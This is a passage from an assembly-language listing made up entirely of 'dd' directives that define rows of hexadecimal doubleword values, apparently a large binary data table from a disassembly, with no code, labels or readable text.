0E5A80581h, 0B705E125h, 0CED8FE4Ah, 1B1704F2h dd 81093E7Fh, 6A7D4396h, 0DC8E88A8h, 0DE680B10h, 8D1EF50Eh dd 0D5CD5D4Fh, 1216B66Eh, 49205A04h, 7BBA2734h, 1E6B3409h dd 0F20DEB3Fh, 0EE2B2051h, 13AE5C13h, 4009FB11h, 5A50FE0Ch dd 4B97A830h, 0B746A983h, 0CFB8E681h, 6E0AF727h, 3056001Fh dd 5347EFC1h, 48C5DBDFh, 68836428h, 0AF840622h, 0FBA472A9h dd 0AF3E259Dh, 0BD364F23h, 52BDE220h, 276397ABh, 30E37CC9h dd 475AAAD0h, 0DA5F8D49h, 6576B7E5h, 0E70AA32Ch, 76AD4126h dd 9C51255Ch, 0E9985DC9h, 51B5DD04h, 2E60AC7Eh, 35608801h dd 0A4CF8100h, 90217C2Ch, 0F9B50C55h, 0E98D3677h, 11006D4Fh dd 224A6705h, 0F829145Eh, 5F12072Dh, 0CB04EB50h, 3AFCFEE2h dd 35082D9Fh, 410B1CDDh, 0F0E96431h, 882689CEh, 70A7FD7h dd 7F5909ADh, 0A53C6757h, 1AB1C1ABh, 0C05F7433h, 10E2E45Ch dd 5D003AA7h, 3CBAC981h, 809D4AC6h, 44B21BE1h, 0E0E915E8h dd 805FB5ADh, 0B61EB09h, 0BB89E498h, 0F90844C3h, 0EB2085A9h dd 99EE9E8h, 6B2F8F3h, 2F014057h, 2A3F7F82h, 0F6AE5BCBh dd 2771176Dh, 0CA27F149h, 3E1C088Ch, 69376403h, 27B5F8E9h dd 9EDA5850h, 43B67D24h, 105032BDh, 0CCD60BCFh, 0D91C5EC2h dd 5BDAC2DAh, 4FB0CC7Fh, 0BB32C438h, 5A047ACh, 5716141Eh dd 0D8AC3132h, 0C813FF4Bh, 5B7D2AB7h, 0BE52A0FEh, 0C47F0DAAh dd 3056B742h, 5C510579h, 0F5361BF8h, 0EB223000h, 7EAC146h dd 10BA4A4Eh, 0E725EDECh, 0D9FF14C2h, 0B11C69F9h, 0E91F3095h dd 0E58197B4h, 3AF08A0Fh, 0F6ABD884h, 0E4B70010h, 0BA52F88Bh dd 563300EFh, 0DACA817Ch, 2C4E5A34h, 90A8C0BBh, 7026513Bh dd 4A159583h, 508C01F2h, 2E4EE913h, 0C428242Ah, 0F6DCEA8Fh dd 1269B8C7h, 0FA4C0173h, 0C05B3C9h, 0A37B1A81h, 0B042BE5Dh dd 29E77240h, 839F574Eh, 0CA803DB2h, 63B450E0h, 5798990h dd 6DCCC32h, 28FB61ACh, 0E80CC2E4h, 0EBEAFCE2h, 0C03ED14Bh dd 68660802h, 8C747E12h dd 91B05040h, 0E5232FE9h, 8049F3FCh, 2E74C410h, 3850B742h dd 0F7098AB0h, 0F51D4A3Dh, 8107FD8Ch, 0DBFCEE1Fh, 0FC01288Bh dd 7C31E24Eh, 87B70FF2h, 5539771Fh, 0E530D2D2h, 0F9B876E6h dd 40A2382Dh, 0C4475AFBh, 0D5CFAF00h, 0B9255D60h, 0D5EB420h dd 92CAD2Ch, 311DFA54h, 0C1018302h, 18881EDDh, 7074CDE9h dd 6800505Bh, 349618FDh, 78672558h, 0E2325C2Ah, 3D84AC3Bh dd 0EBECE945h, 822DB800h, 2DC7C583h, 70E65B50h, 7EE9430Bh dd 0ED06829h, 414B1361h, 3C550921h, 0E14842F2h, 5040044Ah dd 0C3FB5592h, 65821638h, 6ACE1541h, 6EF86D39h, 1E769AD2h dd 4B028BDAh, 2B5C35E4h, 0B26FEE51h, 8AAFD799h, 0C8A84F08h dd 10DC5089h, 0E0B05F5Ah, 4EA5A740h, 0A076C6A7h, 0E856DC37h dd 0A1759D5Dh, 46D6E525h, 72BD11h, 987EBBEFh, 0B8F34085h dd 0AB24E309h, 3908035Eh, 27ABDDD0h, 0F81F9709h, 25FDD825h dd 9F465F93h, 9DE41C40h, 56523D82h, 13F6F284h, 0D1D361A5h dd 806485F8h, 467B13AFh, 0D33DED0Ah, 688202FFh, 82E614A4h dd 7910DA90h, 0EE38FF4Dh, 261C1826h, 91D70088h, 0DE29E062h dd 5EFA61BDh, 0EC66A43Fh, 256A6309h, 5CD9DD58h, 0F29FE906h dd 0F48012AAh, 0FEC0E69h, 0FCE88325h, 46EF5A7Bh, 2AD2E518h dd 5BB3B617h, 0D03EDCB1h, 8E49C3EFh, 44D89525h, 0AFCF09A6h dd 0CAF09EB6h, 647FDE95h, 635CE94Ch, 5A621B8Ch, 4CEFA9E0h dd 0BDCB10FCh, 7D26A44Bh, 32B017F2h, 9245B61Bh, 7A2FB0C8h dd 3737C42h, 0F34378CEh, 5F86E97Ch, 888212BCh, 55A2E25Eh dd 0E94FB260h, 66CDD869h, 0EE8002A0h, 5AF5082Ch, 57A7D545h dd 3A5D5431h, 0B33F30BEh, 6674E9B5h, 0C80E8E92h, 8574502Dh dd 62995908h, 4464213Fh, 26B9005Ch, 0F2545873h, 0A0BB410h dd 97794B68h, 0CBADFB97h, 6717EA02h, 1CC17BA8h, 2944342h dd 40A304Ch, 73701D86h, 0B94015ECh, 44213C4h, 4539BCB8h dd 42FB2AB9h, 3C820F06h, 0F725D25Ch, 72B0C445h, 5FAC9321h dd 0D51DABA2h, 0C34BE0FEh, 7E8FE131h, 0C5D95BADh, 3BB1BEB3h dd 7B5F2820h, 0C17D4F68h, 51515EF6h, 0A6DA9F7Eh, 888B3678h dd 7ECF96FAh, 0F3FB4AE9h, 0DFD617EEh, 50E8F44Bh, 0C0E5376Eh dd 80D30012h, 0D49F73C3h, 0C87D72A4h, 8093AC51h, 180036BDh dd 0EDC14E14h, 0A0DDF707h, 3019A7A3h, 34CE0481h, 21715FF5h dd 9859CD26h, 0A12CE202h, 0D1C08730h, 0AC00917Ah, 29A462DDh dd 8F00B7D5h, 36482E80h, 9488DAF3h, 52822808h, 0A4069FC4h dd 320D8F55h, 1131EA0Fh, 26E3851Ah, 0C1200A81h, 2A8205F1h dd 15A58B71h, 0A0A4D2F5h, 1F18C280h, 1A11036Bh, 80B8AF2h dd 30BF2751h, 64B11CCAh, 0E22A5F1Ah, 0FFA4D337h, 0FB05BE0h dd 8C3235B6h, 16004701h, 0C681FD9Fh, 2526610h, 57DE0137h dd 0F9DDEDE9h, 0AF680520h, 80CBEA61h, 812DAB96h, 0D7A2912Eh dd 55F83E57h, 76D303B4h, 0F7AACF23h, 86034474h, 1AE30DCh dd 7B3D7A28h, 31CD2911h, 74080400h, 0DECFFE7Dh, 0FF689251h dd 0B554B707h, 5BFD0046h, 50BE5C0h, 1A6CCB68h, 24F8773Ch dd 0F5805902h, 41E82888h, 0B2C85317h, 5FB705ADh, 0D049D5E9h dd 40247E38h, 430254Ch, 4A7D706Dh, 8BEFD4D2h, 6BB3DC08h dd 0F102EE5Bh, 5563ADE9h, 5CE1D8D3h, 0D170CD80h, 0C07F4EE5h dd 0FEC991F1h, 0F802CEBFh, 45424A03h, 3571F804h, 0A47B00E0h dd 0E933FE3Dh, 4ABEE998h, 0F3123E9Ch, 9C7EBB1Dh, 0D727069Ch dd 0D5440AB8h, 0BC1DFE42h, 2F40AA4Fh, 7242C38Ah, 1027457h dd 365FB850h, 5335EC4Ah, 7A9B3932h, 951FF0BCh, 0F3B5544Eh dd 30D7E9B7h, 25E9E1A9h, 16570B46h, 6F2C28B5h, 0E9D0F9DFh dd 8E089F26h, 0AE59129Ch, 0AB40FC29h, 13F87D5Fh, 1FA012Bh dd 0B823587Ah, 0CCE7F83Ah, 6496200Ah, 1603F547h, 170B685Dh dd 0E8B0E92Ah, 0D85B7783h, 4DC06C44h, 32F7981Eh, 3030080Dh dd 25F80C54h, 0E66B4A2Eh, 5ECA1C1Ah, 0D2B6DF2Fh, 0E178F9B7h dd 540F8568h, 0EEB2EF1Fh, 0A6ED9486h, 1FF639A2h, 34E75F25h dd 7F3E904h, 9FF10091h, 493E84E1h, 6377EF1Bh, 55F7DAFCh dd 4DF4140Bh, 12477E72h, 99FCB352h, 0E32A021Eh, 0F5D2CBDDh dd 0AE7D02A1h, 7F67BFEh, 0A7D8E71Eh, 113DB25Dh, 0BE50A510h dd 0AA875EF0h, 8C15DE3Bh, 0C3BB57F7h, 0E3D15816h, 0BFE721FBh dd 6B2EC15Ah, 194075C0h, 52270BE2h, 4B502DE9h, 7AA95C9Dh dd 92526D7Ch, 0A6F9F75Dh, 4684703h, 7AF170Bh, 19F4E3A7h dd 0F2411AA9h, 0FEFAFA70h, 5BF9F832h, 58FDC8D7h, 0C3054803h dd 0F9152E18h, 7FC20EA0h, 818989F3h, 0AB2F01E1h, 0A06ED176h dd 0E4FC53CDh, 12565B3Ch, 31FAF1B7h, 4F6E595h, 0AFBB680h dd 0A06A5ADAh, 4E9902C9h, 42759F82h, 0AB4AD518h, 9CDD080Bh dd 518188A6h, 51885DE9h, 5D84BF00h, 0FA211593h, 225F37CCh dd 1F80959Eh, 0D130CFB2h, 32425A48h, 0F5359AB6h, 0B050AE18h dd 5D060F64h, 21F5B5FBh, 0C6C89661h, 505ED2E0h, 0B1FCB56h dd 3125E333h, 51646BDEh, 0D51A06B2h, 7E579CB2h, 7F6AC2D0h dd 131AD0B0h, 0CA0B89D6h, 0B991773Bh, 4B706885h, 3D3AABA0h dd 0ECED47CCh, 0C657EE24h, 0C78925A7h, 0ACF811B2h, 9437E025h dd 0D9719589h, 0A1BB6A0Ah, 0CA1BCE82h, 7189F773h, 0C3E9AF60h dd 0BA20FB60h, 722937BFh, 0A6F1FB73h, 0AA4A0778h, 0FEA80561h dd 744830A5h, 0CBBAD7D6h, 569754F8h, 0AFF313AEh, 2C6840CCh dd 619B7B77h, 7EDC8850h, 0CE9C80Eh, 7666CA9h, 2CCA045Ah dd 87D0058Ch, 0B56498B6h, 0F834E1C2h, 347F971Dh, 22E9243Bh dd 927AAD7Fh, 0FEF99213h, 5E6072BFh, 664A0658h, 3CF0878Dh dd 0B818C0D3h, 25D70BAEh, 8C2F927Bh, 84A4233Eh, 8BBA8435h dd 82792D73h, 4AE4E908h, 57FD072Ah, 98E2668h, 4A7028E3h dd 99B47B5h, 0DAF97829h, 1284D288h, 1D25AE5Dh, 6149B5FEh dd 53B13A83h, 7DC81660h, 29CF1226h, 8659A9F1h, 9D478A5Ah dd 575AB156h, 0CA010DE4h, 0E912581Ah, 7369CC1Eh, 5B235D10h dd 8CA331FEh, 0B0169F9Bh, 35DE88C0h, 759A1B3Bh, 55030F04h dd 14413842h, 2FC94DBEh, 8E04DDB9h, 0EA51DD5Eh, 841D9A8h dd 4DD60C81h, 815B6F72h, 5245DC8Eh, 9AE1E90Dh, 0EC659D7Fh dd 0F5A8C093h, 313D12E8h, 10F612C8h, 419191A4h, 0AB6FECFBh dd 0E7C0CEC0h, 0FED7F606h, 201A4AF8h, 8AF78160h, 0F19CE3B7h dd 3A866780h, 9A5BDE31h, 182D05FAh, 0E700574Eh, 64307336h dd 62D5828h, 0F4805E4Bh, 2501480Dh, 44DF0C61h, 0B1BAC1B3h dd 8147AC23h, 0ED7BF60Fh, 896F2954h, 780A07F3h, 0A2B41820h dd 0DCDB351Ah, 4B7C91CEh, 0E30284ACh, 444328F6h, 0D7380400h dd 0D929205Eh, 85E5E94Ah, 2E76292Fh, 7BAF29EEh, 0B73459CBh dd 0B40DEC0Dh, 852EA6FBh, 44EA22C5h, 0AF9D7D85h, 23824A24h dd 2447D01h, 0F9B2F506h, 3A7AAF17h, 658A61AAh, 20C2EE01h dd 0BC56B708h, 172F7E51h, 0FBAB8455h, 4B4B869Eh, 8958C134h dd 9D47B97h, 0D9AAA59h, 10CB20F1h, 0B61675DEh, 0F8059762h dd 0F589846Eh, 5EB6A283h, 755D0595h, 2D6BC52h, 8E6C56C3h dd 1A22606Ah, 1D613154h, 0DD70A30Ch, 3248257h, 2B5F53h dd 721202A1h, 0C154EC98h, 0C678FEA7h, 10C92A35h, 6529CDFFh dd 8BAA669Bh, 89A7FE66h, 0D66A9E2h, 53AD6812h, 1F10CFAFh dd 542D3F68h, 7CC15A62h, 6B037E58h, 80DEEF80h, 1F665BFAh dd 0CB3EB450h, 0C777DD67h dd 0EED1251Bh, 0AFD1D002h, 1E0F7D16h, 5E3BEC75h, 0ACB3EE1Ah dd 7FECEA77h, 73965D8Bh, 9309A098h, 0F027C62Eh, 0E732110Dh dd 9F0D0046h, 0E93D1724h, 95906056h, 4594B8EBh, 0E8B21150h dd 8949AEB1h, 9559F825h, 0FA5341D4h, 0F7F7A2F3h, 0F69060DEh dd 0FA08A390h, 400BDF7Bh, 0C40ABAD5h, 0C4154A16h, 6D9CAE28h dd 1600959Ah, 6A2BE94Ah, 75E09297h, 0C3D4A868h, 0BBA5280h dd 70F2305Bh, 0C909278h, 0CFA0FEC0h, 2EE98F0Dh, 5A1A2E38h dd 6850C100h, 0D026664Ah, 481A6A27h, 35F1DF0Dh, 6B246116h dd 4D2AE7BBh, 7ABB0960h, 1053027Fh, 6A837687h, 0AB221B0Fh dd 3D38504Ah, 78735845h, 8521F497h, 17BE1E16h, 93C16280h dd 0FC9EC02h, 6E212367h, 969839Eh, 24071F04h, 0E026BA5h dd 0B7B43654h, 685D09EEh, 14515394h, 4F1DCA97h, 0A67223ADh dd 4301DC3h, 602C9F7h, 0E94A0256h, 21C1AB26h, 0B32B1C6Fh dd 7F51C92Fh, 7769D471h, 965FA0E6h, 7DB8CAC4h, 0B0C5500h dd 1599BE41h, 74B75B72h, 0AD0670B1h, 0E213F695h, 520009BCh dd 285DDC68h, 7B056AEh, 0D51BCCEAh, 5FE26042h, 2F0B6E59h dd 9213CAE9h, 0DCAF7763h, 8910A9F2h, 1A467D10h, 35C901E2h dd 0F3E4DD6Ch, 88A599Dh, 661756FCh, 36312EEh, 301F177h dd 8FE10A0Fh, 5D1FD70Fh, 5359876Dh, 7F49BBD1h, 0D20C7EF3h dd 17FCF282h, 0A621164Fh, 0FB8145ADh, 0C0458F5h, 0CD876E2Fh dd 4078F690h, 0C86E480Eh, 68B0734Ch, 659D53A2h, 271E267Dh dd 1ABD61D0h, 0F3115766h, 6A457A5Dh, 9AAB7EF5h, 246E4CDFh dd 68621927h, 0F379DF61h, 0B04B969Eh, 750BDF33h, 6ACF0477h dd 0FC44EB12h, 4E1A4F9Eh, 25CCD45Dh, 8468E598h, 0DECF554Dh dd 4CAA039Eh, 0AD2032AEh, 0E17AF74Bh, 0D2CE6F23h, 0FC18987Dh dd 395B48D8h, 2D4931E1h, 0D70554A9h, 0B91C55Dh, 7DEA68D8h dd 0FBF5A99Ah, 53D5692Fh, 10BD42C6h, 0D5E024AEh, 0E9758C22h dd 0D807726h, 4E0125AEh, 3149CE87h, 3CF193CFh, 0A0858108h dd 0FA28ED76h, 0C0BB9234h, 1A3DD6C4h, 3A051200h, 0F1D3909h dd 9B69498Fh, 60430D00h, 0A2E92DE1h, 0F98ADDC6h, 4F567B8Bh dd 0BED41270h, 98032AB0h, 9D762DD0h, 0F6588A76h, 0F38881B1h dd 1674EE95h, 0FCA194FCh, 3C10639Bh, 0E1418B55h, 0D9EC3BFEh dd 672DAB51h, 0F646EF04h, 0E702B12Dh, 569F87F8h, 434EB878h dd 0B6BF3112h, 5B08D391h, 0DD923AC4h, 4430EEA5h, 4E0FD558h dd 63CBFA40h, 34CC312Ch, 6F8EAA44h, 0C761B10h, 153E6C68h dd 56699DCCh, 0E39720D5h, 0CE016082h, 0ED9027B0h, 0FE9F661Ch dd 0D0B7437h, 564E1531h, 66E0C06Ah, 7AC039C6h, 72BF5745h dd 5288171Fh, 0C97DF409h, 0C3F56317h, 629606FBh, 300FACBEh dd 0AF805BDDh, 0AFD66661h, 9EBD2EB4h, 53D01628h, 75C1862Eh dd 9BD6398h, 0A1CC5792h, 0AC4075Eh, 0A5F99CAFh, 0D9103B47h dd 47561206h, 0FA0A3812h, 0D7A5CFAFh, 17FF946h, 891C579Dh dd 0E2C8E927h, 0D63CD518h, 0E9F66895h, 0E8724A0Dh, 87FED7A7h dd 0D52ED4BEh, 9B7EA4Dh, 1AA4261Ah, 48848EF7h, 2EB81EFh dd 3A5E3527h, 0CA1A15FCh, 0E8F50C1Ch, 0BBF32993h, 8E5888B1h dd 0E49AB50Eh, 57FFF221h, 2C84BEAEh, 0A8FFC4AAh, 5FB85E13h dd 2084FC5Ah, 0DA870498h, 0BF458F68h, 4EE90230h, 0D7C4B548h dd 5D4DF7F0h, 20D48B4h, 45D2197Dh, 99E7EB29h, 0B44BD55h dd 5312F15Fh, 5A02E2BAh, 6BE20816h, 0DDE6E90Ch, 2C64DCFBh dd 0C2F13CD1h, 4D00E6Ah, 10A6AC52h, 0A44BDA74h, 984F681Fh dd 6156FB91h, 662E0400h, 0B830DEC4h, 9DC8AE17h, 40581CBDh dd 0EE291327h, 6584CA38h, 89CB5364h, 5011D4F5h, 951D8B3Dh dd 5AFBC5Ch, 0EDFC9BF6h, 0A862BA04h, 0EDDD5B0Eh, 0E197755Ch dd 140BBA1Dh, 80B08907h, 0B5DFB7EAh, 5C05042Bh, 0AC7A986Eh dd 0AF074180h, 8058003Eh, 7667EE1h, 0F6CE8852h, 8BF147DEh dd 0D08BBA85h, 0EE8A0F18h, 0EC95F29Ah, 13B775B0h, 0F3BCD2E9h dd 70AA5ED8h, 0FF788449h, 75E1BCD6h, 1E109932h, 0E0E91371h dd 0BF05FAF0h, 0BD9091B4h, 0AA83F6E6h, 222AF0EFh, 2D0502BDh dd 1C426677h, 8105DA82h, 5902E907h, 0F16F412Eh, 2F7080B1h dd 128D9F1h, 5DCE2111h, 29CC04B8h, 21AF2F51h, 22090D9h dd 1215CD59h, 0E4680455h, 0A0F3AA3Eh, 0D4E2DB4Ch, 702445F6h dd 4255EE00h, 0B0014A08h, 8C65095h, 8A1A9C59h, 0BCB0565Eh dd 0D3F7D98Dh, 0D80C3808h, 2D965E0Dh, 0F3429AE9h, 0E917F175h dd 260079DFh, 0E7D812ABh, 0E2D57BBFh, 0EFCA1312h, 214DCBB0h dd 362CFA30h, 0B52CDA10h, 498313C4h, 59825ECDh, 2800067Dh dd 6F305BFAh, 0A7A985D0h, 0BF0530D8h, 1F4C6D3Ch, 94FC9F0h dd 2939C5E8h, 90CB1675h, 27D8176Eh, 1301AA03h, 30DE0895h dd 3E87188Eh, 627E0B8Bh, 586008A0h, 0D879CE0Eh, 0CE289F4Ch dd 4A0C3408h, 252FEA23h, 808BA055h, 2D0F8AC6h, 0DEC24883h dd 7DB81E7Fh, 0C3BE0188h, 0E9761E0Dh, 0D1127BF6h, 17C598BEh dd 48109949h, 7E862F1Fh, 295FE29Eh, 2F2C2D49h, 0D2FE52BBh dd 627F3E46h, 0B6E555A3h, 7B355C25h, 0E782E9FAh, 5B0641D3h dd 0BC76F6B7h, 0DE542DD3h, 0FEC41061h, 0F7E1E103h, 68E02ED9h dd 76B7048Dh, 0AACE29AFh, 68090BCBh, 0A9463C7Bh, 56AFE194h dd 6FB0C9Dh, 6F7A8B29h, 815D2A00h, 0D8626ACDh, 324B867h dd 0BD66BA69h, 42FAEA89h, 452D8B81h, 0D23FEF8Ah, 3B49D3Ch dd 3AB2E187h, 85492832h, 9EBCCD8Ah, 0A8AE04D3h, 8C600FEh dd 0B046AA20h, 0E104F135h, 2CEB2FB8h, 0AAEEE92Dh, 85E926D3h dd 1817EF5Eh, 90AC0AA0h, 0D78D81DFh, 3016E7FCh, 0C7CC201Dh dd 822602CAh, 0F11EBF3h, 409C63Dh, 6C563BEAh, 0E39008A0h dd 0AAB8BE4Ah, 5A9AEB4Eh, 2B61FF5Eh, 0DCA7A0D7h, 0CB60FBDEh dd 5EC96859h, 0A1CDB81Ch, 543C63E9h, 7838FE5Ah, 0E0DD4D07h dd 2111D898h, 0D6220D24h, 0F93DE22Fh, 0B70B7B93h, 0AEEACEE9h dd 0E268CB05h, 0EA40F7BFh, 50814F95h, 0F429C2F7h, 0CD8A4259h dd 0EF05FADAh, 4E510AF1h, 12F6D4BBh, 2A3E2108h, 595F0274h dd 0C480695Ch, 6FBB06D2h, 1F8061B6h, 5227FD77h, 1DB002BAh dd 0D5091A3Ah, 571D09FFh, 0C8B2CB12h, 80FB8C55h, 0BF3013D7h dd 9550BB76h, 3D894E08h, 39AAAD54h, 42EE9126h, 523D0D00h dd 2D051ADBh, 5E691513h, 0F5B05AE8h, 7D485516h, 82C707C1h dd 0F257BEECh, 7604A9CBh, 178EC2D2h, 98C544FFh, 0D50B512h dd 0E90210C2h, 0D8097DC0h, 36D07FDCh, 0FF8282B8h, 86DED108h dd 2A02D917h, 61BE94B4h, 13F1CAB1h, 7A43C56Ch, 0EBFC6816h dd 5A81758Ch, 8CD72862h, 3C89715Eh, 6F19D941h, 6493CC2Eh dd 9DFE9F20h, 853397DFh, 0D00CB3E9h, 19D8059h, 161F0BBAh dd 319655EBh, 0EAB4B1BCh, 4672C541h, 0CC3C3D42h, 590740h dd 325C402Dh, 57FC0503h, 74E863Dh, 485174E6h, 382BCEF0h dd 0D029106Dh, 116A9D05h, 16FD1B83h, 0E6AF0425h, 0B8DAA69h dd 9C4DA7Eh, 40BBE95Ch, 13F8B9DEh, 17F053Bh, 344D1A4Eh dd 27D7326Ah, 573804D1h, 206C7180h, 0EA7F7997h, 8F08B9BCh dd 0C44B575Dh, 80F5442Bh, 0FEF03552h, 0C13EE3BFh, 57A17E7Ch dd 0D5968219h, 69570D4Ah, 1AC26DC1h, 62935655h, 0E7EE5F02h dd 0C02F12F4h, 882F71FEh, 349036D4h, 0CD7C444Bh, 0A0680231h dd 0F2C8DE16h, 78E16041h, 0D8291794h, 418CCCFEh, 1A2FCF94h dd 96125732h, 2FDA52C0h dd 78B6FEDh, 0FC15327Eh, 0B25F521Ch, 9515F14h, 0A535DEA7h dd 418C45F5h, 20F88850h, 6054E966h, 0E000BAC0h, 0BB6EE804h dd 4F17FB24h, 0EAEBB491h, 0A537DB3Fh, 0C08753Dh, 0ECE90D08h dd 20EB21F7h, 1E1621C6h, 530739C0h, 7B466DFh, 0E848B4ACh dd 8D7D9104h, 0F8B01672h, 165F9D50h, 41CA904Bh, 0C29D4A4Ah dd 0D77A7FE9h, 71E5EEA0h, 3E014042h, 5F9DBB53h, 0CBF05012h dd 0B16C0401h, 0ACAEE956h, 1F497590h, 9FF85BD0h, 3D15ABA5h dd 0E4508F16h, 0CDFA3391h, 7D12E6F3h, 8B25FCE4h, 617DD93Ch dd 6A2D46E9h, 922D156h, 6287D658h, 56686FE9h, 5A585D52h dd 7C590702h, 48E22D67h, 9C155CF9h, 0A3F1C001h, 0FE03E1C0h dd 0D9F6C919h, 813AFA14h, 1FBDD59h, 0A2683433h, 3F3C0F9Fh dd 69182D7Fh, 0C6979FBEh, 4B633125h, 81AE09B5h, 51C7E475h dd 0EDD8B3B5h, 9FECE05Ch, 4322B15Dh, 0E17E2835h, 122E9E59h dd 0F6847AD7h, 29A2C7E9h, 0E782A7DAh, 310E46DEh, 24D64FF2h dd 908F2EB5h, 1373C140h, 0AF58502Bh, 129BF800h, 7E0F14B9h dd 0FFAC278Fh, 5CF1987Ch, 6DDCFE9Dh, 2AFF273h, 55555461h dd 5A1EF365h, 6288E9C9h, 0FBD032Eh, 0D79DDA8Ch, 2610A66Eh dd 5789FEAEh, 5604EAD4h, 32A4D691h, 77851A0Fh, 547728B1h dd 0A3DAC289h, 0F72D1468h, 753A3571h, 92A0448h, 9CC76E16h dd 0CFA5B5D0h, 387EB61Ah, 17931C8h, 21365425h, 7FA9E9F1h dd 65CA8940h, 9038841Bh, 8C0B02EEh, 0D5317C6Ah, 861EEAF5h dd 0B78E9E35h, 6713CDFBh, 0B66FD3B1h, 0EB0BD2D3h, 0D69C298Eh dd 97622882h, 810939DEh, 7A7075EBh, 58AA0CD3h, 6EE92A85h dd 2288AB6h, 7827D89Ch, 0F848220Fh, 9643E720h, 0C3C640B8h dd 11F2543Ah, 26382319h, 0E67EAB80h, 0C8BE02A3h, 5D036468h dd 44CFF098h, 9636519Fh, 4EDCAE51h, 0EA54BF59h, 7FB6C589h dd 0BDC1FA4Bh, 54187322h, 0D560F766h, 7E2D580Bh, 0ABFFF2B3h dd 0F7494FCCh, 91BE938Ah, 6A7679EFh, 3FF12E93h, 0F801B8BBh dd 0C329E123h, 7F12B58h, 0E33BC1CDh, 0E553C52Eh, 257BB8CAh dd 0E154F9B2h, 1032A068h, 3AF87566h, 54F32C2Dh, 3F1B60C3h dd 7C900B5Ch, 5AD3E320h, 29FA90BFh, 5B485FFEh, 5E55055Eh dd 3FAD1D6Dh, 0AD310841h, 1538EF2Bh, 644E26E9h, 6F1C82F8h dd 0C2D506FBh, 830708E2h, 86544E16h, 5B125C8Bh, 247C57E6h dd 8310359Ah, 6241123Bh, 0B3D4B7D1h, 80EE9E2Ch, 0A71DF49h dd 0BD55CE01h, 0F9E90508h, 0B0E731F1h, 9744E890h, 6806BF92h dd 10BC225Bh, 477A4E7Eh, 0C935BD99h, 8BAB9A03h, 0EF21161Dh dd 20B138D3h, 9A89B2Fh, 5273FCE9h, 61553858h, 2DFA4A2Ch dd 0FC5FF762h, 0B842C57Fh, 64E91674h, 0EBBA7780h, 34A22474h dd 480A0EECh, 0C32A4Ah, 40547094h, 260E2C1h, 0B938927Ah dd 0BCCAA02Fh, 6721F0Ch, 0DC4AEFE9h, 8C170F5h, 12EB10D3h dd 8819920h, 18B7A5Bh, 94F09019h, 0DDBC7ABBh, 3B4EE54Ah dd 5A5902EAh, 14E89BE9h, 6A1EC5B8h, 0C38949B2h, 85F210DBh dd 22CF44F6h, 896BC041h, 49D9CC0Ah, 9A6815Ch, 55A5F0A1h dd 6954DF0Bh, 0C5C5DD69h, 0D8B96862h, 0DA7796BEh, 251CDA57h dd 0DFA9963h, 155E0509h, 0EEE2D057h, 0D0202CF8h, 0E9C205F4h dd 3157F156h, 4A1BEC49h, 4F5F4216h, 9C7F4402h, 1DCB26FEh dd 0A6B63B98h, 0BBB80Fh, 0E1056EB0h, 69483714h, 84357064h dd 209A0AF3h, 7D697EB1h, 5EAD75D9h, 103C11B0h, 7D5840B2h dd 300D1600h, 0B18A0F75h, 4B1D2AB4h, 0D05E18FFh, 3BDCB326h dd 5265E98Bh, 0BAB2FF58h, 0D399F7D2h, 0AA140BBh, 530EC59h dd 13A6FA02h, 94C301CFh, 32BE4B2Bh, 0E65D72FCh, 51FC9D8Bh dd 0DEC44202h, 61E2F599h, 0CFFADE57h, 0EA82D80Bh, 5A05CA3Fh dd 460A31AEh, 3DF86FD7h, 71021BC6h, 8082C672h, 7423CD6Ch dd 45372D33h, 0F5800DD4h, 561F5844h, 53BF2E57h, 38511A20h dd 0E95717CAh, 68361FBh, 76B65260h, 9614EEC9h, 87FA6A12h dd 0CE951AEh, 25916FE6h, 0B5D792D2h, 0A1063CABh, 521DA5Eh dd 0FAC8CF88h, 2F82985Bh, 0C192BDD4h, 0B6640F5h, 24519778h dd 6CA4CA8Ch, 0F80EB566h, 2713980Fh, 96AA84E6h, 80E2B20Eh dd 0FD5C605h, 0BDD48C88h, 8374BDEBh, 0EDCBF5E9h, 0E9F153BCh dd 8D122F57h, 0BB977DB2h, 9EF9A8C8h, 0AF5F121Ah, 0AE97E0A3h dd 2B63B3CDh, 1405533Bh, 0F83CCB51h, 0CC293926h, 3B0B41AEh dd 0EA1AF6FCh, 805D8BDFh, 1622F2CBh, 0B36D8025h, 9EAF395h dd 265B495Fh, 9C684A48h, 28AFA617h, 0EA416C82h, 0EE4C842Ah dd 1F2DD8FCh, 0C1FC874Bh, 545CBAB4h, 0EE89823Eh, 28FA0891h dd 3680A00h, 76B54A6Eh, 0BE1ACEB8h, 0C05F1095h, 537F824h dd 0E1C11189h, 1102AE07h, 0D9C49BFBh, 52123D8Fh, 0D51DB89Ch dd 0CE685038h, 91F65128h, 0DCAF737h, 0F60AF9F5h, 0C6E273F3h dd 0C1F19BA4h, 926E9598h, 0CFF61307h, 3BB062h, 0AA42E8BFh dd 0D827F698h, 82C35BEDh, 8F66C331h, 96AFC640h, 0DCC121D3h dd 0EE05CC93h, 63852BB2h, 9912F8BFh, 70890E10h, 3F80C729h dd 5AE5164Dh, 4023350Eh, 581A19FEh, 0F3947FC6h, 0CB4AB698h dd 0C69A30E2h, 0D0D7097Dh, 0D2769F43h, 809B3C78h, 243C5C01h dd 0F48E9E08h, 32EA5F7Dh, 267E0317h, 0EEA70501h, 167BB7F2h dd 7D95EFD8h, 46481A0Bh, 0ACC92040h, 0D2F65904h, 78F8E2D0h dd 0EB71146Bh, 0E1F766C0h, 0BB82C68h, 0E9546173h, 0F5B17EF8h dd 0B36A66Fh, 75FEC4E8h, 0D737A6B8h, 0EAC52DC0h, 166A5159h dd 0BB2C875Bh, 0CD4B0CCBh, 0BF454429h, 0D13BC9ADh, 0FEC82A89h dd 5369387Dh, 0FDE082E7h, 6082FAB8h, 0EE08F1F3h, 1D41267h dd 895CA2CDh, 21807F31h, 0E4D6F249h, 3C2BCC0h, 77E97EBFh dd 31688071h, 5525C9B4h, 7AA781C5h, 0FE6F2DF9h, 1CCC8259h dd 0D31ED0EBh, 8F12D83Ch, 6CD245A2h, 0B6B03544h, 4E6113DEh dd 5C0DD8ABh, 0CA0B4598h, 0D47D6E19h, 28E60ED5h, 0D0F75465h dd 2B4748B4h, 77A6C58h, 51964C7Ah, 2933E6C0h, 4F1B8BAh dd 0B9328FCEh, 0F2E871Ah, 0EBF410C5h, 7DEB1E49h, 2EB8D8F8h dd 25DA1B4Dh, 52A2DF29h, 77489A1Ch, 56284C76h, 8F00DE0Bh dd 8132B20Fh, 0C43F9EAh, 0DAF72AFDh, 0DC7DE904h, 83854496h dd 8CEBFEE3h, 67CB85FAh, 2CABD7B9h, 3F42E47Fh, 0F64FD64Ah dd 7CE57B4Ch, 